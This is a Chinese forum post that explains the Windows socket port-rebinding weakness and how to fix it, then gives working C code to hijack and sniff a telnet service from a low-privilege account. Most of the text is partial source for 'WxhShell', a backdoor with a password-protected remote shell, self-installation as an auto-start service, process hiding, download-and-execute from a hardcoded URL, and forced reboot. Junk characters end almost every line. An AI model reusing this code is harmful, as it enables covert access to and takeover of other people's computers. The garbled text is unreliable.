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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3mYiQ2  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *_R]*o!W'  
K/A*<<r ~  
  saddr.sin_family = AF_INET; |3F02  
@.G[s)x  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f:ZAG4B  
#Xhdn\7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hy}8Aji&  
K#*reJ}K  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .gG1kWA-  
(ohq0Y  
  这意味着什么?意味着可以进行如下的攻击: i-bJS6  
/TZOJE(2j  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 m<{< s T  
m_=$0m J$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (Q%'N3gk  
=:DaS`~V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 M%1}/!J3  
P8^hBv*  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Jj,U RD&0R  
,Vh.T&X5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qtiz a~u  
gN24M3{C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6:q"l\n>  
Z-E`>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Hu.t 3:w  
0@G")L Ue0  
  #include WA]c=4S  
  #include Y|8:;u'  
  #include j'%$XvI  
  #include    M&N B/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Eq$&qV-?(  
  int main() '|S%a MLZ)  
  { pX&pLaF  
  WORD wVersionRequested; ta`N8vnf  
  DWORD ret; j7sKsbb  
  WSADATA wsaData; p3]_}Y D[#  
  BOOL val; w=LP"bqlI  
  SOCKADDR_IN saddr; VYt!U  
  SOCKADDR_IN scaddr; OR}c)|1  
  int err; y]J89  
  SOCKET s; ]l'Y'z,}  
  SOCKET sc; Lb;zBmwB  
  int caddsize; /%0<p,T  
  HANDLE mt; w"OP8KA:^T  
  DWORD tid;   cU{e`<xjA  
  wVersionRequested = MAKEWORD( 2, 2 ); d+X}cq=  
  err = WSAStartup( wVersionRequested, &wsaData ); z;A>9vQ_J  
  if ( err != 0 ) { Qtbbb3m;  
  printf("error!WSAStartup failed!\n"); 3 n'V\H vz  
  return -1; "I=\[l8t  
  } NZ/yBOD(  
  saddr.sin_family = AF_INET; J9\a{c;.  
   9cEv&3  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 F>]m3(  
Mk=mT3=#  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %g1,N k  
  saddr.sin_port = htons(23); ^ <Pq,u%k  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YnxRg  
  { n| b5? 3  
  printf("error!socket failed!\n"); ,y+$cM(  
  return -1; :JfE QIN  
  } GN!qyT  
  val = TRUE; Pu"R,a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mp9{m`Jb*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G:pEE:W[  
  { U$ F{nZ1  
  printf("error!setsockopt failed!\n"); '@jXbN  
  return -1; +hE(Ra#  
  } hSFn8mpXT  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4O;OjUI0a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _~rI+lA  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 RRGWC$>?  
]J:1P`k.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1gmt2>#v%  
  { U5-@2YcH  
  ret=GetLastError(); d'/TdVM  
  printf("error!bind failed!\n"); J|X 6j&-  
  return -1; F B?UZ  
  } ;Ra+=z}>  
  listen(s,2); G7)Fk%>  
  while(1) jCrpL~tWT  
  { Ya;9]k8,  
  caddsize = sizeof(scaddr); 6I!7c^]t  
  //接受连接请求 :=8t"rO=W  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); em\ 9'L^  
  if(sc!=INVALID_SOCKET) Ea?XT&,  
  { W -  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )13dn]o=2  
  if(mt==NULL) E\IlF 6  
  { !'j?.F $}  
  printf("Thread Creat Failed!\n"); K-f1{ 0  
  break; `;l?12|X  
  } WdZ:K,  
  } m}8[#:  
  CloseHandle(mt); AgRjr"hF*e  
  } WBNw~|DO]  
  closesocket(s); >IX/< {);M  
  WSACleanup(); .[Ap=UYI>  
  return 0; Kh4$ wwn  
  }   n @?4b8"  
  DWORD WINAPI ClientThread(LPVOID lpParam) NTS# sgP  
  { ?UK|>9y}Z  
  SOCKET ss = (SOCKET)lpParam; =xsTDjH>  
  SOCKET sc; <`jLY)sw  
  unsigned char buf[4096]; = <j"M85.  
  SOCKADDR_IN saddr; 0vVV%,v  
  long num; $8p7D?Y  
  DWORD val; t ^[8RhD  
  DWORD ret; Qc[3Fq,f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z0`T\ay  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   pSm $FBW h  
  saddr.sin_family = AF_INET; {t Thy#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I+!:K|^  
  saddr.sin_port = htons(23); = pI?A^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UG'bOF4  
  { `'\t$nU  
  printf("error!socket failed!\n"); k{VE1@  
  return -1; }lK3-2Pk  
  } $5v0m#[^  
  val = 100; BW"&6t#kA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,ZQZ}`x(  
  { *26334B.R  
  ret = GetLastError(); P_c,BlfGMH  
  return -1; A>[|g`;t  
  } XxDaz1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R/^u/~<  
  { 4O:W#bx  
  ret = GetLastError(); ~>0qZ{3J_  
  return -1; (_4;') 9  
  } ?88`fJ@tk?  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U xD5eJJ  
  { jqH3J2L  
  printf("error!socket connect failed!\n"); `]LSbS  
  closesocket(sc); {QbvR*gv  
  closesocket(ss); 4CQ"8k(S"  
  return -1; AW#<i_Ybf  
  } Z4){ 7|~a  
  while(1) x!_<z''  
  { 4lqH8l.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  6l$L~>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 QZX~T|Ckv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 BS&;n  
  num = recv(ss,buf,4096,0); SxK:]Aw  
  if(num>0) \uME+NF  
  send(sc,buf,num,0); }Z TGi,P c  
  else if(num==0) Fkf97Oi  
  break; }n7t h  
  num = recv(sc,buf,4096,0); bu&t'?z x!  
  if(num>0) U!XS;a)  
  send(ss,buf,num,0); A:y.s;<L 0  
  else if(num==0) }pa9%BQI  
  break; 4d_s%n?C  
  } M7>(hVEAW'  
  closesocket(ss); Bm\qxQ  
  closesocket(sc); _5MNMV LwW  
  return 0 ; QRLJ_W^&u  
  } )RYG%  
M(d6Z2ibh  
(~)%Fo9X"  
========================================================== YUQtMf9  
mR8W]'gl.L  
下边附上一个代码,,WXhSHELL N$TL;T>  
;pD)m/$h`  
========================================================== htm{!Z]s0  
q> s-Y|  
#include "stdafx.h" h;V,n  
q8:{Nk  
#include <stdio.h> y fSM  
#include <string.h> WZ!WxX>zO  
#include <windows.h> - O"i3>C  
#include <winsock2.h> ]O{u tm  
#include <winsvc.h> "+?Cz !i   
#include <urlmon.h> fWF |,A>>b  
^). )  
#pragma comment (lib, "Ws2_32.lib") D;Gq)]O  
#pragma comment (lib, "urlmon.lib") OzT#1T1'c  
CzV(cSS9-  
#define MAX_USER   100 // 最大客户端连接数 {F N;'Uc  
#define BUF_SOCK   200 // sock buffer iqhOi|!  
#define KEY_BUFF   255 // 输入 buffer G5D2oQa=8  
CK_(b"  
#define REBOOT     0   // 重启 * n(> ^  
#define SHUTDOWN   1   // 关机 pium$4l2#  
y[O-pD`  
#define DEF_PORT   5000 // 监听端口 +pH@oFNK  
\Hqc 9&0  
#define REG_LEN     16   // 注册表键长度 n:U>Fj>q  
#define SVC_LEN     80   // NT服务名长度 0Q593F  
nK3 k]gLc{  
// 从dll定义API 7&O`p(j  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )4xu^=N&as  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %~j2 ('Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .[DthEF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ufo>|A6;$  
aFY_:.o2k`  
// wxhshell配置信息 O3n_N6| q  
struct WSCFG { (#q<\`  
  int ws_port;         // 监听端口 4R>zPEo  
  char ws_passstr[REG_LEN]; // 口令 o2-@o= F  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;r=b|B9c  
  char ws_regname[REG_LEN]; // 注册表键名 b'ml=a#i 0  
  char ws_svcname[REG_LEN]; // 服务名 V 'X;jC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 :L0/V~D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Lc<eRVNd,  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %lr|xX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^IgY d*5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jnu Y{0(&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [ neXFp}S  
~un%4]U  
}; |m,VTViv;i  
?p[O%_Xf  
// default Wxhshell configuration r^HA aGpC  
struct WSCFG wscfg={DEF_PORT, :9l51oE7  
    "xuhuanlingzhe", DhI>p0* T  
    1, }8'&r(cN4  
    "Wxhshell", |0bc$ZY:  
    "Wxhshell", <Wl(9$  
            "WxhShell Service", Bb Jkdt7  
    "Wrsky Windows CmdShell Service", }tST)=M`  
    "Please Input Your Password: ", ^T4Ay=~{  
  1, 2 Tvvq(?T  
  "http://www.wrsky.com/wxhshell.exe", h5|.Et  
  "Wxhshell.exe" 2aNT#J"_  
    }; F5gObIJtuY  
Jx-wO/  
// 消息定义模块 W VkR56  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; iO!6}yJ*V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ++[5q+b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d]0a%Xh[  
char *msg_ws_ext="\n\rExit."; W( *V2<$o  
char *msg_ws_end="\n\rQuit."; Em13dem  
char *msg_ws_boot="\n\rReboot..."; N~=A  
char *msg_ws_poff="\n\rShutdown..."; [A~G-  
char *msg_ws_down="\n\rSave to "; icUT<@0  
*QE<zt  
char *msg_ws_err="\n\rErr!"; (UEXxUdQ_Q  
char *msg_ws_ok="\n\rOK!"; ]!YtH]}  
sCH)gr@gJ^  
char ExeFile[MAX_PATH]; v.Ogf 5  
int nUser = 0; Zu<]bv  
HANDLE handles[MAX_USER]; s[3fqdLP&  
int OsIsNt; ,[48Mspp  
H!IDV }dn  
SERVICE_STATUS       serviceStatus; %4>x!{jwV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~hN~>0O  
c"gsB!xh  
// 函数声明 00vBpsZj2;  
int Install(void); "c`xH@D  
int Uninstall(void); xc'vS>&  
int DownloadFile(char *sURL, SOCKET wsh); 1 H4fJ3-  
int Boot(int flag); y@vj;3:  
void HideProc(void); 2%rLoL$Y2+  
int GetOsVer(void); &hZwZgV +3  
int Wxhshell(SOCKET wsl); B(HT.%r^A  
void TalkWithClient(void *cs); <"&'>?8j  
int CmdShell(SOCKET sock); t Y1Et0  
int StartFromService(void); &m{'nRU}c  
int StartWxhshell(LPSTR lpCmdLine); 8KjRCm,I  
)3?rXsSR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ysXx%k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B0mLI%B  
"HQF.#\#  
// 数据结构和表定义 Yx?aC!5M  
SERVICE_TABLE_ENTRY DispatchTable[] = -rY 7)=  
{ s_wUM)!  
{wscfg.ws_svcname, NTServiceMain}, J?712=9  
{NULL, NULL} 2P~)I)3V  
}; A! 6r/   
)3E,D~1e%  
// 自我安装 cwtD@KC[B  
int Install(void) g@nk.aRw  
{ SX+RBVZU  
  char svExeFile[MAX_PATH]; #n})X,ip2  
  HKEY key; 66ohmP@04Z  
  strcpy(svExeFile,ExeFile); ^7XAw: ?  
}Zl"9A#K  
// 如果是win9x系统,修改注册表设为自启动 ;[5r7 jHU  
if(!OsIsNt) { oNRG25  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NCt~9xS.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Up?=m^  
  RegCloseKey(key); CB}BQd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;El <%{(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H7IW"UkBR  
  RegCloseKey(key); {7#03k  
  return 0; WfVMdwz=  
    } h W.2p+  
  } C|e+0aW  
} `1'5j "v  
else { 9&jPp4qG  
LdWc X`K  
// 如果是NT以上系统,安装为系统服务 g6' !v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IcoowZZ   
if (schSCManager!=0) 70iH0j)  
{ >!BFt$sd  
  SC_HANDLE schService = CreateService TgaYt\"i[  
  ( <f%/px%1  
  schSCManager, 9Q[>.):  
  wscfg.ws_svcname, -0|K,k  
  wscfg.ws_svcdisp, W);W.:F  
  SERVICE_ALL_ACCESS, xh'^c^1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #( uj$[o  
  SERVICE_AUTO_START, <'*4j\*  
  SERVICE_ERROR_NORMAL, qZ\ L  
  svExeFile, @ ^. *$E5  
  NULL, /t{=8v~  
  NULL, {e9Y !oFg  
  NULL, ,YlQK;  
  NULL, ^5)_wUf  
  NULL vfbe$4mH  
  ); TA)LPBG  
  if (schService!=0) vgk9b!Xd  
  { ,ep9V ,+|  
  CloseServiceHandle(schService); e[4V%h  
  CloseServiceHandle(schSCManager); Yo'K pdn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (T;9us0  
  strcat(svExeFile,wscfg.ws_svcname); T&/_e   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nLd~2qBuv  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &z ksRX  
  RegCloseKey(key); 5P\N"Yjx'  
  return 0; _;G=G5r  
    } iwo$\  
  } ~07RFR  
  CloseServiceHandle(schSCManager); NhDA7z`b'J  
} 4K,''7N3  
} [$:@X V(  
qy9i9$8  
return 1; x7gjG"V  
} ak2dn]]D  
d Uz<1^L  
// 自我卸载 4<Kgmy  
int Uninstall(void) F@<MT<TRf  
{ X%`KYo%  
  HKEY key; Xu%d,T$G  
Sh$U-ch@  
if(!OsIsNt) { #~e9h9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,i![QXZ  
  RegDeleteValue(key,wscfg.ws_regname); ?#ihJt,  
  RegCloseKey(key); Q?]w{f(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^srs$ w]  
  RegDeleteValue(key,wscfg.ws_regname); Mdm0g  
  RegCloseKey(key); >)sqh ~P  
  return 0; |8'B/ p=  
  } s!`H  
} T9y768%  
} uN(b.5y  
else { L]>4Nd  
xN "wF-s4?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {Y "8~  
if (schSCManager!=0) ^BNp`x;;`  
{ #NM JZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m+7`\|`jQ  
  if (schService!=0) q\_DJ)qpn  
  { <i7agEdZD  
  if(DeleteService(schService)!=0) { `U#Po_hq  
  CloseServiceHandle(schService); WVkG 2  
  CloseServiceHandle(schSCManager); oek #^:pF  
  return 0; x/_dW  
  } oVEAlBm^v  
  CloseServiceHandle(schService); < 4$YO-:E  
  } X#7}c5^Y  
  CloseServiceHandle(schSCManager); PvuAg(?  
} *k [kV  
} _Z.;u0Zp8  
9b%|^ .B  
return 1; [yvt1:q  
} LV\ieM  
We\Y \*!v  
// 从指定url下载文件 A?' H[2]w"  
int DownloadFile(char *sURL, SOCKET wsh) &/DOO ^  
{ jQs*(=ls  
  HRESULT hr; 1W0.Ufl)  
char seps[]= "/"; sSy$(%  
char *token; \Nyr=<c  
char *file; AtT"RG-6  
char myURL[MAX_PATH]; 9nO(xJ"e4  
char myFILE[MAX_PATH]; 'tut4SwC  
:r-.r"[m-  
strcpy(myURL,sURL); H}a)^90_  
  token=strtok(myURL,seps);  )Oo2<:"  
  while(token!=NULL) b_ZNI0Hp@  
  { Seg#s.  
    file=token; k!9=  
  token=strtok(NULL,seps); " Ac~2<V  
  } ]*a@*0=  
]qMH=>pOsj  
GetCurrentDirectory(MAX_PATH,myFILE); 1oB$u!6P  
strcat(myFILE, "\\"); W0U`Kt&~a  
strcat(myFILE, file); {sl~2#,}b1  
  send(wsh,myFILE,strlen(myFILE),0); eL_^: -   
send(wsh,"...",3,0); _~:j3=1&n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4*H(sq  
  if(hr==S_OK) 7^&lbzVbm(  
return 0; Yu1QcFuy  
else l$=Gvb  
return 1; !2#\| NJk  
L%k67>  
} <3)|44.o&  
8F\~Wz7K  
// 系统电源模块 Kyu@>9Ok  
int Boot(int flag) $vW^n4!  
{ /G{&[X<4U  
  HANDLE hToken; J-b~4  
  TOKEN_PRIVILEGES tkp; $]nVr(OZ_  
loR,XW7z  
  if(OsIsNt) { dZ.}j&ZH'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tm%WWbc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vwm|I7/w  
    tkp.PrivilegeCount = 1; 4P`PmQ=GQh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U.Pa7tn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 23)F-.C}j  
if(flag==REBOOT) { }!eF  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .mC~Ry+t  
  return 0; P_kaIPP  
} F19;RaP+  
else { i<'{Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jkZ_c!  
  return 0; K3a>^g  
} jG =(w4+  
  } 0T7M_G'5Q  
  else { n'! -Pv  
if(flag==REBOOT) { UENYJ*tnP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) @=02  
  return 0; "ugX /r$_  
} m};~JMo]  
else { (r.$%[,.<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~l;yr @  
  return 0; >&*6Fqd  
} *K]>}  
} cjCE3V9X  
}K#iCby4  
return 1; 3FGbQ_  
} QBg}2.  
; :v]NZtc  
// win9x进程隐藏模块 9m<wcZ  
void HideProc(void) {KF7j63  
{ >:3xi{  
Rh wt<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I@8+k&nXS  
  if ( hKernel != NULL ) v]LFZI5  
  { fs]#/*RR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *uk \O]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P58\+9d_  
    FreeLibrary(hKernel); X7'h@>R   
  } ek Y?  
aL_;`@4  
return; $#6 Fnhh}  
} /ig^7+#  
u!=]zW%  
// 获取操作系统版本 >=.ch5h3J)  
int GetOsVer(void) @ef//G+Z"  
{ |N phG|  
  OSVERSIONINFO winfo; ~EM#Hc,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =Bcux8wA#6  
  GetVersionEx(&winfo); jldcvW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yb@X*PW/z  
  return 1; SL?%/$2g=O  
  else }'@tA")-)  
  return 0; *#X+Gngo  
} 8eg2o$k_,#  
F9>(W#aC  
// 客户端句柄模块 lW{I`r\]  
int Wxhshell(SOCKET wsl) *so6]+)cU  
{ Xm_Ub>N5  
  SOCKET wsh; -ucz+{  
  struct sockaddr_in client; {[(W4NAlH  
  DWORD myID; \t&n jMWpZ  
0lvb{Zd  
  while(nUser<MAX_USER) -o! saX<  
{ 2c*VHIl;  
  int nSize=sizeof(client); mvW^P`nB  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MY0[Oq cm=  
  if(wsh==INVALID_SOCKET) return 1; +oxqS&$L  
FvtM~[Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8EW`*+%=  
if(handles[nUser]==0) ~|$) 1  
  closesocket(wsh); \kua9bK  
else xc3Ov9`8%  
  nUser++; %j 9vX$Hj  
  } W#oEF/G  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VC_3ll]vr  
8yJk81 gY  
  return 0; W2X+N acD  
} vl#V-UW$4P  
9fr&Yb=_o@  
// 关闭 socket <E(-QJ  
void CloseIt(SOCKET wsh)  ^qSf  
{ qB` 0^V  
closesocket(wsh); (>)+;$Dr,\  
nUser--; %>x0*T$$  
ExitThread(0); .q|xMS}4  
} !T&u2=`D  
_3FMQY(  
// 客户端请求句柄 N?`GZ+5  
void TalkWithClient(void *cs) 6i?kkULBS  
{ 52q!zx E  
B4M'Er{v  
  SOCKET wsh=(SOCKET)cs; DI"dY ug#  
  char pwd[SVC_LEN]; 4F 6ju6w  
  char cmd[KEY_BUFF]; Ri%Of:zZ  
char chr[1]; "~ i#9L/H  
int i,j; &`\kb2uep  
l#J>It\  
  while (nUser < MAX_USER) { $D2Ain1  
<iY 9cV|}3  
if(wscfg.ws_passstr) { @/ovdf{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [3bwbfHhi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~k:>Xo[|O  
  //ZeroMemory(pwd,KEY_BUFF); = -a?oH-  
      i=0; y+~Aw"J}  
  while(i<SVC_LEN) { +$pO  
O+3D 5*  
  // 设置超时 (t"YoWA#m  
  fd_set FdRead; PHB\)/  
  struct timeval TimeOut; *< SU_dAh  
  FD_ZERO(&FdRead); N]<~NG:6b  
  FD_SET(wsh,&FdRead); F0o18k_"  
  TimeOut.tv_sec=8; Ov{B-zCA  
  TimeOut.tv_usec=0; J3!k*"P  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); f|HgLFx  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8mQd*GGu1  
 :L+zUlsf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EZu  
  pwd=chr[0]; "}azC|:5  
  if(chr[0]==0xd || chr[0]==0xa) { R}=]UOqH-  
  pwd=0; m<VL19o>R  
  break; B+e~k?O]1  
  } Lh5+fk~i~8  
  i++; qgY(S}V  
    } W0C$*oe!_i  
fe]T9EDA  
  // 如果是非法用户,关闭 socket ^dp[ Z,[1z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nq w*oLFQ  
} hJtghG6v  
#IciNCIrG  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5Qe}v  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9#A{C!75(y  
7[VCCI g  
while(1) { !&<Wc^PG  
^gVbVz[17  
  ZeroMemory(cmd,KEY_BUFF); Ub-k<]yZ  
9R<J$e  
      // 自动支持客户端 telnet标准   ,HjHt\!~<  
  j=0; /)HEx&SQmZ  
  while(j<KEY_BUFF) { ^SES')x  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vN[m5)aT  
  cmd[j]=chr[0]; <H(AS'  
  if(chr[0]==0xa || chr[0]==0xd) { Z_TbM^N  
  cmd[j]=0; z@40 g)R2A  
  break; [O =)FiY-  
  } m_Y}>  
  j++; s</ktPtu  
    } fTnyCaB  
1 </t #r  
  // 下载文件 Zi'8~iEH  
  if(strstr(cmd,"http://")) { P<w>1 =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E9NGdp&-Ah  
  if(DownloadFile(cmd,wsh)) mm~o%1|WR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t3kh]2t  
  else |x~ei_x7.p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LB 5EGw  
  } UmHb-uk ;  
  else { Sr-^faL  
doUqUak  
    switch(cmd[0]) { y#SD-# I-  
  u K&_IE}  
  // 帮助 t`/RcAwA  
  case '?': { (:hmp"S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5EZr"  
    break; P xuz {  
  } oz7udY=]0  
  // 安装 5nlyb,"^g  
  case 'i': { `rFGSq$9  
    if(Install()) t7& GCZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MhXm-<4  
    else 6j.(l4}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iY`7\/H!L  
    break; mCP +7q7  
    } [}Yci:P_ +  
  // 卸载 -cC(d$y  
  case 'r': { i}12mjF  
    if(Uninstall()) rs)aEmvC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e(5Px!B  
    else ^ C#bW <T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *fyEw\`a  
    break; P=hf/jOv9  
    } gf8U &;  
  // 显示 wxhshell 所在路径 P bC>v  
  case 'p': { }Z%{QJ$z  
    char svExeFile[MAX_PATH]; YV+dUvz  
    strcpy(svExeFile,"\n\r"); s%re>)=|  
      strcat(svExeFile,ExeFile); *" +cP!  
        send(wsh,svExeFile,strlen(svExeFile),0); g0 U\AN  
    break; X_yU"U  
    } :BiR6>1:  
  // 重启 (4gQe6tA  
  case 'b': { A ba%Gh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); mLdyt-1  
    if(Boot(REBOOT)) 'cCj@bZ9X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c7N9X 3A  
    else { Dy'l]vN$  
    closesocket(wsh); d|HM  
    ExitThread(0); "+Yn;9  
    } pNsLoNZ3w  
    break; pIjVJ9+j  
    } jiD8|%}v  
